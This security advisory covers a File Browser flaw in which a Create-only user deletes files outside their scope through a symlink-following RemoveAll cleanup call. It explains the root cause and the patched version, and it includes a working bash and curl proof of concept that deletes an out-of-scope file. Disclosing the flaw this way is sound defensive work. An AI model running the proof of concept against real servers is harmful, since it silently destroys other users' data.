high · 8.2CVE-2026-55667Jul 20, 2026

CVE-2026-55667: File Browser Out-of-Scope File Deletion via Symlink-Following RemoveAll

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A scoped File Browser user with only the Create permission can delete files outside their allowed directory by exploiting an unguarded cleanup call that follows symlinks, bypassing the delete permissi

Packagegithub.com/filebrowser/filebrowser/v2
Ecosystemgo
Affected<= 2.63.15
Fixed in2.63.16

The problem

File Browser scopes each user to a directory and enforces boundaries through a `ScopedFs` wrapper that calls `guard()` on every filesystem operation. The v2.63.14 fix for CVE-2026-54094 added that guard to reads, writes, lists, and renames, but left `ScopedFs.Remove` and `ScopedFs.RemoveAll` calling the underlying filesystem directly with no symlink check.

When an upload via `resourcePostHandler` fails, the handler runs `d.user.Fs.RemoveAll(r.URL.Path)` as cleanup on the user-supplied path. If that path traverses a symlinked directory that exits the user's scope, Go's `os.RemoveAll` follows the symlink and deletes the out-of-scope target.

The HTTP response is still 403 (the write was blocked), so the deletion is silent. A Create-only user with `Perm.Delete=false` is sufficient; no delete permission is required.

Proof of concept

A working proof-of-concept for CVE-2026-55667 in github.com/filebrowser/filebrowser/v2, with the exact payload below.

bash
# Precondition: a directory symlink inside the user's scope pointing outside it.
# This must be planted out-of-band (mounted volume, extracted archive, admin action).
ln -s /srv/victim /var/filebrowser/root/scope/link

# 1. Authenticate and capture the JWT
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"createonly","password":"hunter2"}')

# 2. POST any body to a path under the symlink.
#    The guarded write (MkdirAll/OpenFile) fails => 403.
#    The unguarded cleanup RemoveAll("/link/secret.txt") then follows the
#    symlink and deletes /srv/victim/secret.txt on disk.
curl -i -X POST \
  -H "X-Auth: $JWT" \
  --data 'x' \
  'http://127.0.0.1:8080/api/resources/link/secret.txt'

# Outcome: HTTP 403 returned (write blocked), but /srv/victim/secret.txt is gone.
test ! -e /srv/victim/secret.txt && echo 'DELETED out-of-scope file'

Root cause (CWE-22, CWE-59): `ScopedFs.RemoveAll` in `files/scoped.go` skipped the `guard()` call that every other method uses to resolve symlinks with `filepath.EvalSymlinks` and reject out-of-scope paths. The patch (commit `64511ce`) adds `if err := s.guard(path); err != nil { return err }` at the top of `RemoveAll` before delegating to `s.base.RemoveAll`, mirroring the pattern used by `OpenFile`, `Mkdir`, and the rest of the wrapper.

A second contributing factor: `resourcePostHandler` does not return early when `NewFileInfo` returns a non-not-exist containment error, so it falls through to `writeFile`, which fails the guarded write, and then unconditionally runs the cleanup `RemoveAll` on the unvalidated, user-controlled path.

The fix addresses both the missing guard in `RemoveAll` and adds defense-in-depth by returning early from the handler on containment errors.

The fix

Upgrade to filebrowser v2.63.16. The fix adds `guard()` to both `ScopedFs.Remove` and `ScopedFs.RemoveAll` in `files/scoped.go` (commit `64511ce`), and adds an early-return in `resourcePostHandler` when `NewFileInfo` returns a containment error, preventing the cleanup path from running on an unvalidated path.

Reporter not attributed.

References: [1][2][3][4]

Related research